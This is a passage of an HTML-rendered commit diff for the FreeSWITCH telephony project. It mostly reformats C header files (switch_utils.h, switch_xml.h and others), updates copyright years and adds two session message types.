</ins><span class="cx">         /* Nothing after this line */
</span><span class="cx">         SWITCH_XML_SECTION_MAX = (1 << 4)
</span><span class="cx"> } switch_xml_section_enum_t;
</span><span class="lines">@@ -530,36 +529,35 @@
</span><span class="cx"> typedef uint32_t switch_rtp_flag_t;
</span><span class="cx">
</span><span class="cx"> typedef enum {
</span><del>-        RTP_BUG_NONE = 0, /* won't be using this one much ;) */
</del><ins>+        RTP_BUG_NONE = 0,                        /* won't be using this one much ;) */
</ins><span class="cx">
</span><span class="cx">         RTP_BUG_CISCO_SKIP_MARK_BIT_2833 = (1 << 0),
</span><span class="cx">         /* Some Cisco devices get mad when you send the mark bit on new 2833 because it makes
</span><span class="cx">          them flush their jitterbuffer and the dtmf along with it.
</span><span class="cx">
</span><span class="cx">          This flag will disable the sending of the mark bit on the first DTMF packet.
</span><del>-        */
</del><ins>+         */
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">         RTP_BUG_SONUS_SEND_INVALID_TIMESTAMP_2833 = (1 << 1)
</span><del>-        /*
-         Sonus wrongly expects that, when sending a multi-packet 2833 DTMF event, The sender
-         should increment the RTP timestamp in each packet when, in reality, the sender should
-         send the same exact timestamp and increment the duration field in the 2833 payload.
-         This allows a reconstruction of the duration if any of the packets are lost.
</del><ins>+                /*
+                 Sonus wrongly expects that, when sending a multi-packet 2833 DTMF event, The sender
+                 should increment the RTP timestamp in each packet when, in reality, the sender should
+                 send the same exact timestamp and increment the duration field in the 2833 payload.
+                 This allows a reconstruction of the duration if any of the packets are lost.
</ins><span class="cx">
</span><del>-         final_duration - initial_timestamp = total_samples
</del><ins>+                 final_duration - initial_timestamp = total_samples
</ins><span class="cx">
</span><del>-         However, if the duration value exceeds the space allocated (16 bits), The sender should increment
-         the timestamp one unit and reset the duration to 0.
-        
-         Always sending a duration of 0 with a new timestamp should be tolerated but is rarely intentional
-         and is mistakenly done by many devices.
-         The issue is that the Sonus expects everyone to do it this way instead of tolerating either way.
-         Sonus will actually ignore every packet with the same timestamp before concluding if it's DTMF.
-        
-         This flag will cause each packet to have a new timestamp.
-        */
</del><ins>+                 However, if the duration value exceeds the space allocated (16 bits), The sender should increment
+                 the timestamp one unit and reset the duration to 0.
</ins><span class="cx">
</span><ins>+                 Always sending a duration of 0 with a new timestamp should be tolerated but is rarely intentional
+                 and is mistakenly done by many devices.
+                 The issue is that the Sonus expects everyone to do it this way instead of tolerating either way.
+                 Sonus will actually ignore every packet with the same timestamp before concluding if it's DTMF.
+
+                 This flag will cause each packet to have a new timestamp.
+                 */
</ins><span class="cx"> } switch_rtp_bug_flag_t;
</span><span class="cx">
</span><span class="cx"> #ifdef _MSC_VER
</span><span class="lines">@@ -680,6 +678,8 @@
</span><span class="cx">         SWITCH_MESSAGE_INDICATE_SIMPLIFY,
</span><span class="cx">         SWITCH_MESSAGE_INDICATE_DEBUG_AUDIO,
</span><span class="cx">         SWITCH_MESSAGE_INDICATE_PROXY_MEDIA,
</span><ins>+        SWITCH_MESSAGE_INDICATE_APPLICATION_EXEC,
+        SWITCH_MESSAGE_INDICATE_APPLICATION_EXEC_COMPLETE,
</ins><span class="cx">         SWITCH_MESSAGE_INVALID
</span><span class="cx"> } switch_core_session_message_types_t;
</span><span class="cx">
</span><span class="lines">@@ -1545,7 +1545,7 @@
</span><span class="cx">
</span><span class="cx"> typedef void (*switch_event_callback_t) (switch_event_t *);
</span><span class="cx"> typedef switch_caller_extension_t *(*switch_dialplan_hunt_function_t) (switch_core_session_t *, void *, switch_caller_profile_t *);
</span><del>-#define SWITCH_STANDARD_DIALPLAN(name) static switch_caller_extension_t * name (switch_core_session_t *session, void *arg, switch_caller_profile_t *caller_profile)
</del><ins>+#define SWITCH_STANDARD_DIALPLAN(name) static switch_caller_extension_t *name (switch_core_session_t *session, void *arg, switch_caller_profile_t *caller_profile)
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx"> typedef struct switch_scheduler_task switch_scheduler_task_t;
</span><span class="lines">@@ -1579,9 +1579,9 @@
</span><span class="cx">                                                                                                  char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args);
</span><span class="cx"> typedef struct switch_xml *switch_xml_t;
</span><span class="cx"> typedef struct switch_core_time_duration switch_core_time_duration_t;
</span><del>-typedef switch_xml_t (*switch_xml_search_function_t) (const char *section,
-                                                                                                         const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params,
-                                                                                                         void *user_data);
</del><ins>+typedef switch_xml_t(*switch_xml_search_function_t) (const char *section,
+                                                                                                         const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params,
+                                                                                                         void *user_data);
</ins><span class="cx">
</span><span class="cx"> typedef struct switch_hash switch_hash_t;
</span><span class="cx"> struct HashElem;
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_utilsh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_utils.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_utils.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_utils.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -40,9 +40,7 @@
</span><span class="cx">
</span><span class="cx"> #include <switch.h>
</span><span class="cx">
</span><del>-SWITCH_BEGIN_EXTERN_C
-
-SWITCH_DECLARE(int) switch_toupper(int c);
</del><ins>+SWITCH_BEGIN_EXTERN_C SWITCH_DECLARE(int) switch_toupper(int c);
</ins><span class="cx"> SWITCH_DECLARE(int) switch_tolower(int c);
</span><span class="cx"> SWITCH_DECLARE(int) switch_isalnum(int c);
</span><span class="cx"> SWITCH_DECLARE(int) switch_isalpha(int c);
</span><span class="lines">@@ -74,7 +72,8 @@
</span><span class="cx"> \param s the string to test
</span><span class="cx"> \return true value if the string is NULL or zero length
</span><span class="cx"> */
</span><del>-static inline int zstr(const char *s) {
</del><ins>+         static inline int zstr(const char *s)
+{
</ins><span class="cx">         return !s || *s == '\0';
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -106,7 +105,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 i = strchr(i, '\\');
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -208,11 +207,11 @@
</span><span class="cx"> /*!
</span><span class="cx"> \brief flags to be used with switch_build_uri()
</span><span class="cx"> */
</span><del>-enum switch_uri_flags {
-        SWITCH_URI_NUMERIC_HOST = 1,
-        SWITCH_URI_NUMERIC_PORT = 2,
-        SWITCH_URI_NO_SCOPE = 4
-};
</del><ins>+         enum switch_uri_flags {
+                 SWITCH_URI_NUMERIC_HOST = 1,
+                 SWITCH_URI_NUMERIC_PORT = 2,
+                 SWITCH_URI_NO_SCOPE = 4
+         };
</ins><span class="cx">
</span><span class="cx"> /*!
</span><span class="cx"> \brief build a URI string from components
</span><span class="lines">@@ -224,12 +223,7 @@
</span><span class="cx"> \param flags logical OR-ed combination of flags from \ref switch_uri_flags
</span><span class="cx"> \return number of characters printed (not including the trailing null)
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(int) switch_build_uri(char *uri,
-                                                                         switch_size_t size,
-                                                                         const char *scheme,
-                                                                         const char *user,
-                                                                         const switch_sockaddr_t *sa,
-                                                                         int flags);
</del><ins>+SWITCH_DECLARE(int) switch_build_uri(char *uri, switch_size_t size, const char *scheme, const char *user, const switch_sockaddr_t *sa, int flags);
</ins><span class="cx">
</span><span class="cx"> #define SWITCH_STATUS_IS_BREAK(x) (x == SWITCH_STATUS_BREAK || x == 730035 || x == 35)
</span><span class="cx">
</span><span class="lines">@@ -313,7 +307,7 @@
</span><span class="cx"> #define switch_set_string(_dst, _src) switch_copy_string(_dst, _src, sizeof(_dst))
</span><span class="cx">
</span><span class="cx">
</span><del>-static inline char *switch_sanitize_number(char *number)
</del><ins>+         static inline char *switch_sanitize_number(char *number)
</ins><span class="cx"> {
</span><span class="cx">         char *p = number, *q;
</span><span class="cx">         char warp[] = "/:";
</span><span class="lines">@@ -323,10 +317,12 @@
</span><span class="cx">                 return number;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        while((q = strrchr(p, '@'))) *q = '\0';
-
-        for(i = 0; i < (int)strlen(warp); i++) {
-                while(p && (q = strchr(p, warp[i]))) p = q + 1;
</del><ins>+        while ((q = strrchr(p, '@')))
+                *q = '\0';
+
+        for (i = 0; i < (int) strlen(warp); i++) {
+                while (p && (q = strchr(p, warp[i])))
+                        p = q + 1;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         return p;
</span><span class="lines">@@ -334,46 +330,46 @@
</span><span class="cx">
</span><span class="cx"> static inline switch_bool_t switch_string_var_check(char *s, switch_bool_t disable)
</span><span class="cx"> {
</span><del>- char *p;
</del><ins>+        char *p;
</ins><span class="cx">         char *dol = NULL;
</span><span class="cx">
</span><del>- for (p = s; p && *p; p++) {
- if (*p == '$') {
- dol = p;
- } else if (dol) {
- if (*p == '{') {
</del><ins>+        for (p = s; p && *p; p++) {
+                if (*p == '$') {
+                        dol = p;
+                } else if (dol) {
+                        if (*p == '{') {
</ins><span class="cx">                                 if (disable) {
</span><span class="cx">                                         *dol = '%';
</span><span class="cx">                                         dol = NULL;
</span><span class="cx">                                 } else {
</span><span class="cx">                                         return SWITCH_TRUE;
</span><span class="cx">                                 }
</span><del>- } else if (*p != '\\') {
- dol = NULL;
- }
- }
- }
- return SWITCH_FALSE;
</del><ins>+                        } else if (*p != '\\') {
+                                dol = NULL;
+                        }
+                }
+        }
+        return SWITCH_FALSE;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> static inline switch_bool_t switch_string_var_check_const(const char *s)
</span><span class="cx"> {
</span><del>- const char *p;
</del><ins>+        const char *p;
</ins><span class="cx">         int dol = 0;
</span><span class="cx">
</span><del>- for (p = s; p && *p; p++) {
- if (*p == '$') {
- dol = 1;
- } else if (dol) {
- if (*p == '{') {
-                                        return SWITCH_TRUE;
- } else if (*p != '\\') {
- dol = 0;
- }
- }
- }
- return SWITCH_FALSE;
</del><ins>+        for (p = s; p && *p; p++) {
+                if (*p == '$') {
+                        dol = 1;
+                } else if (dol) {
+                        if (*p == '{') {
+                                return SWITCH_TRUE;
+                        } else if (*p != '\\') {
+                                dol = 0;
+                        }
+                }
+        }
+        return SWITCH_FALSE;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static inline char *switch_var_clean_string(char *s)
</span><span class="lines">@@ -386,7 +382,7 @@
</span><span class="cx"> {
</span><span class="cx">         char *p;
</span><span class="cx">         for (p = s; p && *p; p++) {
</span><del>-                uint8_t x = (uint8_t) *p;
</del><ins>+                uint8_t x = (uint8_t) * p;
</ins><span class="cx">                 if ((x < 32) && x != '\n' && x != '\r') {
</span><span class="cx">                         *p = ' ';
</span><span class="cx">                 }
</span><span class="lines">@@ -403,7 +399,7 @@
</span><span class="cx"> */
</span><span class="cx"> #define switch_safe_free(it) if (it) {free(it);it=NULL;}
</span><span class="cx">
</span><del>-static inline char *switch_safe_strdup(const char *it)
</del><ins>+static inline char *switch_safe_strdup(const char *it)
</ins><span class="cx"> {
</span><span class="cx">         if (it) {
</span><span class="cx">                 return strdup(it);
</span><span class="lines">@@ -413,14 +409,14 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-static inline char *switch_lc_strdup(const char *it)
</del><ins>+static inline char *switch_lc_strdup(const char *it)
</ins><span class="cx"> {
</span><span class="cx">         char *dup;
</span><span class="cx">         char *p;
</span><span class="cx">
</span><span class="cx">         if (it) {
</span><span class="cx">                 dup = strdup(it);
</span><del>-                for(p = dup; p && *p; p++) {
</del><ins>+                for (p = dup; p && *p; p++) {
</ins><span class="cx">                         *p = (char) switch_tolower(*p);
</span><span class="cx">                 }
</span><span class="cx">                 return dup;
</span><span class="lines">@@ -430,14 +426,14 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-static inline char *switch_uc_strdup(const char *it)
</del><ins>+static inline char *switch_uc_strdup(const char *it)
</ins><span class="cx"> {
</span><span class="cx">         char *dup;
</span><span class="cx">         char *p;
</span><span class="cx">
</span><span class="cx">         if (it) {
</span><span class="cx">                 dup = strdup(it);
</span><del>-                for(p = dup; p && *p; p++) {
</del><ins>+                for (p = dup; p && *p; p++) {
</ins><span class="cx">                         *p = (char) switch_toupper(*p);
</span><span class="cx">                 }
</span><span class="cx">                 return dup;
</span><span class="lines">@@ -562,7 +558,7 @@
</span><span class="cx"> SWITCH_DECLARE(char *) switch_escape_char(switch_memory_pool_t *pool, char *in, const char *delim, char esc);
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(char *) switch_escape_string(const char *in, char *out, switch_size_t outlen);
</span><del>-SWITCH_DECLARE(char*) switch_escape_string_pool(const char *in, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(char *) switch_escape_string_pool(const char *in, switch_memory_pool_t *pool);
</ins><span class="cx">
</span><span class="cx"> /*!
</span><span class="cx"> \brief Wait for a socket
</span><span class="lines">@@ -591,17 +587,14 @@
</span><span class="cx"> #define SWITCH_READ_ACCEPTABLE(status) (status == SWITCH_STATUS_SUCCESS || status == SWITCH_STATUS_BREAK)
</span><span class="cx"> SWITCH_DECLARE(size_t) switch_url_encode(const char *url, char *buf, size_t len);
</span><span class="cx"> SWITCH_DECLARE(char *) switch_url_decode(char *s);
</span><del>-SWITCH_DECLARE(switch_bool_t) switch_simple_email(const char *to,
-                                                                                                 const char *from,
-                                                                                                 const char *headers,
-                                                                                                 const char *body,
-                                                                                                 const char *file,
-                                                                                                 const char *convert_cmd,
-                                                                                                 const char *convert_ext);
</del><ins>+SWITCH_DECLARE(switch_bool_t) switch_simple_email(const char *to,
+                                                                                                 const char *from,
+                                                                                                 const char *headers,
+                                                                                                 const char *body, const char *file, const char *convert_cmd, const char *convert_ext);
</ins><span class="cx"> SWITCH_DECLARE(char *) switch_find_end_paren(const char *s, char open, char close);
</span><span class="cx">
</span><span class="cx">
</span><del>-static inline switch_bool_t switch_is_file_path(const char *file)
</del><ins>+         static inline switch_bool_t switch_is_file_path(const char *file)
</ins><span class="cx"> {
</span><span class="cx">         const char *e;
</span><span class="cx">         int r;
</span><span class="lines">@@ -611,21 +604,21 @@
</span><span class="cx">                         file = e + 1;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef WIN32
</span><del>-        r = (file && (*file == '\\' || *(file +1) == ':' || *file == '/' || strstr(file, SWITCH_URL_SEPARATOR)));
</del><ins>+        r = (file && (*file == '\\' || *(file + 1) == ':' || *file == '/' || strstr(file, SWITCH_URL_SEPARATOR)));
</ins><span class="cx"> #else
</span><span class="cx">         r = (file && ((*file == '/') || strstr(file, SWITCH_URL_SEPARATOR)));
</span><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx">         return r ? SWITCH_TRUE : SWITCH_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(int) switch_parse_cidr(const char *string, uint32_t *ip, uint32_t *mask, uint32_t *bitp);
</span><del>-SWITCH_DECLARE(switch_status_t) switch_network_list_create(switch_network_list_t **list, const char *name, switch_bool_t default_type, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_network_list_create(switch_network_list_t **list, const char *name, switch_bool_t default_type,
+                                                                                                                 switch_memory_pool_t *pool);
</ins><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_network_list_add_cidr_token(switch_network_list_t *list, const char *cidr_str, switch_bool_t ok, const char *token);
</span><span class="cx"> #define switch_network_list_add_cidr(_list, _cidr_str, _ok) switch_network_list_add_cidr_token(_list, _cidr_str, _ok, NULL)
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_xmlh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_xml.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_xml.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_xml.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -103,7 +103,7 @@
</span><span class="cx"> * \param s The string to parse
</span><span class="cx"> * \param dup true if you want the string to be strdup()'d automatically
</span><span class="cx"> * \return the switch_xml_t or NULL if an error occured
</span><del>- */
</del><ins>+ */
</ins><span class="cx"> SWITCH_DECLARE(switch_xml_t) switch_xml_parse_str_dynamic(_In_z_ char *s, _In_ switch_bool_t dup);
</span><span class="cx">
</span><span class="cx"> /*!
</span><span class="lines">@@ -156,7 +156,8 @@
</span><span class="cx"> ///\param attrname the attribute name
</span><span class="cx"> ///\param value the value
</span><span class="cx"> ///\return an xml node or NULL
</span><del>-SWITCH_DECLARE(switch_xml_t) switch_xml_find_child(_In_ switch_xml_t node, _In_z_ const char *childname, _In_opt_z_ const char *attrname, _In_opt_z_ const char *value);
</del><ins>+SWITCH_DECLARE(switch_xml_t) switch_xml_find_child(_In_ switch_xml_t node, _In_z_ const char *childname, _In_opt_z_ const char *attrname,
+                                                                                                 _In_opt_z_ const char *value);
</ins><span class="cx"> SWITCH_DECLARE(switch_xml_t) switch_xml_find_child_multi(_In_ switch_xml_t node, _In_z_ const char *childname, ...);
</span><span class="cx">
</span><span class="cx"> ///\brief returns the next tag of the same name in the same section and depth or NULL
</span><span class="lines">@@ -202,7 +203,7 @@
</span><span class="cx"> ///\ Returns NULL if not found.
</span><span class="cx"> ///\param xml the xml node
</span><span class="cx"> ///\return an xml node or NULL
</span><del>-SWITCH_DECLARE(switch_xml_t) switch_xml_get(_In_ switch_xml_t xml, ...);
</del><ins>+SWITCH_DECLARE(switch_xml_t) switch_xml_get(_In_ switch_xml_t xml,...);
</ins><span class="cx">
</span><span class="cx"> ///\brief Converts an switch_xml structure back to xml. Returns a string of xml data that
</span><span class="cx"> ///\ must be freed.
</span><span class="lines">@@ -218,7 +219,8 @@
</span><span class="cx"> ///\param offset offset to start at
</span><span class="cx"> ///\param prn_header add <?xml version..> header too
</span><span class="cx"> ///\return the xml text string
</span><del>-SWITCH_DECLARE(char *) switch_xml_toxml_buf(_In_ switch_xml_t xml, _In_z_ char *buf, _In_ switch_size_t buflen, _In_ switch_size_t offset, _In_ switch_bool_t prn_header);
</del><ins>+SWITCH_DECLARE(char *) switch_xml_toxml_buf(_In_ switch_xml_t xml, _In_z_ char *buf, _In_ switch_size_t buflen, _In_ switch_size_t offset,
+                                                                                        _In_ switch_bool_t prn_header);
</ins><span class="cx">
</span><span class="cx"> ///\brief returns a NULL terminated array of processing instructions for the given
</span><span class="cx"> ///\ target
</span><span class="lines">@@ -346,30 +348,28 @@
</span><span class="cx"> ///\return SWITCH_STATUS_SUCCESS if successful root and node will be assigned
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_xml_locate(_In_z_ const char *section,
</span><span class="cx">                                                                                                  _In_opt_z_ const char *tag_name,
</span><del>-                                                                                                 _In_opt_z_ const char *key_name,
-                                                                                                 _In_opt_z_ const char *key_value,
-                                                                                                 _Out_ switch_xml_t *root,
-                                                                                                 _Out_ switch_xml_t *node,
-                                                                                                 _In_opt_ switch_event_t *params,
-                                                                                                 _In_ switch_bool_t clone);
</del><ins>+                                                                                                 _In_opt_z_ const char *key_name,
+                                                                                                 _In_opt_z_ const char *key_value,
+                                                                                                 _Out_ switch_xml_t *root,
+                                                                                                 _Out_ switch_xml_t *node, _In_opt_ switch_event_t *params, _In_ switch_bool_t clone);
</ins><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_xml_locate_domain(_In_z_ const char *domain_name, _In_opt_ switch_event_t *params, _Out_ switch_xml_t *root, _Out_ switch_xml_t *domain);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_xml_locate_domain(_In_z_ const char *domain_name, _In_opt_ switch_event_t *params, _Out_ switch_xml_t *root,
+                                                                                                                 _Out_ switch_xml_t *domain);
</ins><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_xml_locate_group(_In_z_ const char *group_name,
</span><del>-                                                                                                                _In_z_ const char *domain_name,
</del><ins>+                                                                                                                _In_z_ const char *domain_name,
</ins><span class="cx">                                                                                                                 _Out_ switch_xml_t *root,
</span><del>-                                                                                                                _Out_ switch_xml_t *domain,
-                                                                                                                _Out_ switch_xml_t *group,
-                                                                                                                _In_opt_ switch_event_t *params);
</del><ins>+                                                                                                                _Out_ switch_xml_t *domain, _Out_ switch_xml_t *group, _In_opt_ switch_event_t *params);
</ins><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_xml_locate_user(_In_z_ const char *key,
</span><span class="cx">                                                                                                          _In_z_ const char *user_name,
</span><span class="cx">                                                                                                          _In_z_ const char *domain_name,
</span><span class="cx">                                                                                                          _In_opt_z_ const char *ip,
</span><del>-                                                                                                         _Out_ switch_xml_t *root, _Out_ switch_xml_t *domain, _Out_ switch_xml_t *user, _Out_opt_ switch_xml_t *ingroup,
-                                                                                                         _In_opt_ switch_event_t *params);
</del><ins>+                                                                                                         _Out_ switch_xml_t *root, _Out_ switch_xml_t *domain, _Out_ switch_xml_t *user,
+                                                                                                         _Out_opt_ switch_xml_t *ingroup, _In_opt_ switch_event_t *params);
</ins><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_xml_locate_user_in_domain(_In_z_ const char *user_name, _In_ switch_xml_t domain, _Out_ switch_xml_t *user, _Out_opt_ switch_xml_t *ingroup);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_xml_locate_user_in_domain(_In_z_ const char *user_name, _In_ switch_xml_t domain, _Out_ switch_xml_t *user,
+                                                                                                                                 _Out_opt_ switch_xml_t *ingroup);
</ins><span class="cx">
</span><span class="cx"> ///\brief open a config in the core registry
</span><span class="cx"> ///\param file_path the name of the config section e.g. modules.conf
</span><span class="lines">@@ -390,7 +390,8 @@
</span><span class="cx"> SWITCH_DECLARE(switch_xml_section_t) switch_xml_get_binding_sections(_In_ switch_xml_binding_t *binding);
</span><span class="cx"> SWITCH_DECLARE(void *) switch_xml_get_binding_user_data(_In_ switch_xml_binding_t *binding);
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_xml_bind_search_function_ret(_In_ switch_xml_search_function_t function, _In_ switch_xml_section_t sections, _In_opt_ void *user_data, switch_xml_binding_t **ret_binding);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_xml_bind_search_function_ret(_In_ switch_xml_search_function_t function, _In_ switch_xml_section_t sections,
+                                                                                                                                        _In_opt_ void *user_data, switch_xml_binding_t **ret_binding);
</ins><span class="cx"> #define switch_xml_bind_search_function(_f, _s, _u) switch_xml_bind_search_function_ret(_f, _s, _u, NULL)
</span><span class="cx">
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_xml_configh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_xml_config.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_xml_config.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_xml_config.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -36,38 +36,37 @@
</span><span class="cx"> #include <switch.h>
</span><span class="cx">
</span><span class="cx"> SWITCH_BEGIN_EXTERN_C
</span><ins>+/*! \brief Type of value to parse */
+        typedef enum {
+        SWITCH_CONFIG_INT,                        /*< (ptr=int* default=int data=NULL) Integer */
+        SWITCH_CONFIG_STRING,                /*< (ptr=[char* or char ** (for alloc)] default=char* data=switch_xml_config_string_options_t*) Zero-terminated C-string */
+        SWITCH_CONFIG_BOOL,                        /*< (ptr=switch_bool_t* default=switch_bool_t data=NULL) Yes and no */
+        SWITCH_CONFIG_CUSTOM,                /*< (ptr=<custom function data> default=<custom function data> data=switch_xml_config_callback_t) Custom, get value through function pointer */
+        SWITCH_CONFIG_ENUM,                        /*< (ptr=int* default=int data=switch_xml_config_enum_item_t*) */
+        SWITCH_CONFIG_FLAG,                        /*< (ptr=int32_t* default=switch_bool_t data=int (flag index) */
+        SWITCH_CONFIG_FLAGARRAY,        /*< (ptr=int8_t* default=switch_bool_t data=int (flag index) */
</ins><span class="cx">
</span><del>-/*! \brief Type of value to parse */
-typedef enum {
-        SWITCH_CONFIG_INT,                                /*< (ptr=int* default=int data=NULL) Integer */
-        SWITCH_CONFIG_STRING,                         /*< (ptr=[char* or char ** (for alloc)] default=char* data=switch_xml_config_string_options_t*) Zero-terminated C-string */
-        SWITCH_CONFIG_BOOL,                         /*< (ptr=switch_bool_t* default=switch_bool_t data=NULL) Yes and no */
-        SWITCH_CONFIG_CUSTOM,                         /*< (ptr=<custom function data> default=<custom function data> data=switch_xml_config_callback_t) Custom, get value through function pointer */
-        SWITCH_CONFIG_ENUM,                         /*< (ptr=int* default=int data=switch_xml_config_enum_item_t*) */
-        SWITCH_CONFIG_FLAG,                                /*< (ptr=int32_t* default=switch_bool_t data=int (flag index) */
-        SWITCH_CONFIG_FLAGARRAY,                /*< (ptr=int8_t* default=switch_bool_t data=int (flag index) */
-        
</del><span class="cx">         /* No more past that line */
</span><span class="cx">         SWITCH_CONFIG_LAST
</span><span class="cx"> } switch_xml_config_type_t;
</span><span class="cx">
</span><del>-typedef struct {         
-        char *key;                                                /*< The item's key or NULL if this is the last one in the list */
-        int value;                                                /*< The item's value */
</del><ins>+typedef struct {
+        char *key;                                        /*< The item's key or NULL if this is the last one in the list */
+        int value;                                        /*< The item's value */
</ins><span class="cx"> } switch_xml_config_enum_item_t;
</span><span class="cx">
</span><span class="cx"> typedef struct {
</span><del>-        switch_memory_pool_t *pool;         /*< If set, the string will be allocated on the pool (unless the length param is > 0, then you misread this file)*/
-        switch_size_t length;                        /*< Length of the char array, or 0 if memory has to be allocated dynamically*/
-        char *validation_regex;                        /*< Enforce validation using this regular expression */
</del><ins>+        switch_memory_pool_t *pool;        /*< If set, the string will be allocated on the pool (unless the length param is > 0, then you misread this file) */
+        switch_size_t length;                /*< Length of the char array, or 0 if memory has to be allocated dynamically */
+        char *validation_regex;                /*< Enforce validation using this regular expression */
</ins><span class="cx"> } switch_xml_config_string_options_t;
</span><span class="cx">
</span><del>-SWITCH_DECLARE_DATA extern switch_xml_config_string_options_t switch_config_string_strdup;         /*< String options structure for strdup, no validation */
</del><ins>+SWITCH_DECLARE_DATA extern switch_xml_config_string_options_t switch_config_string_strdup;        /*< String options structure for strdup, no validation */
</ins><span class="cx">
</span><span class="cx"> typedef struct {
</span><span class="cx">         switch_bool_t enforce_min;
</span><span class="cx">         int min;
</span><del>-        switch_bool_t enforce_max;        
</del><ins>+        switch_bool_t enforce_max;
</ins><span class="cx">         int max;
</span><span class="cx"> } switch_xml_config_int_options_t;
</span><span class="cx">
</span><span class="lines">@@ -85,21 +84,22 @@
</span><span class="cx">         CONFIG_REQUIRED = (1 << 1)
</span><span class="cx"> } switch_config_flags_t;
</span><span class="cx">
</span><del>-typedef switch_status_t (*switch_xml_config_callback_t)(switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed);
</del><ins>+typedef switch_status_t (*switch_xml_config_callback_t) (switch_xml_config_item_t *item, const char *newvalue, switch_config_callback_type_t callback_type,
+                                                                                                                 switch_bool_t changed);
</ins><span class="cx">
</span><span class="cx"> /*!
</span><span class="cx"> * \brief A configuration instruction read by switch_xml_config_parse
</span><span class="cx"> */
</span><span class="cx"> struct switch_xml_config_item {
</span><del>-        const char *key;                                                 /*< The key of the element, or NULL to indicate the end of the list */
-        switch_xml_config_type_t type;                         /*< The type of variable */
-        int flags;                                                                  /*< True if the var can be changed on reload */
-        void *ptr;                                                                 /*< Ptr to the var to be changed */
-        const void *defaultvalue;                                  /*< Default value */
-        void *data;                                                          /*< Custom data (depending on the type) */
</del><ins>+        const char *key;                        /*< The key of the element, or NULL to indicate the end of the list */
+        switch_xml_config_type_t type;        /*< The type of variable */
+        int flags;                                        /*< True if the var can be changed on reload */
+        void *ptr;                                        /*< Ptr to the var to be changed */
+        const void *defaultvalue;        /*< Default value */
+        void *data;                                        /*< Custom data (depending on the type) */
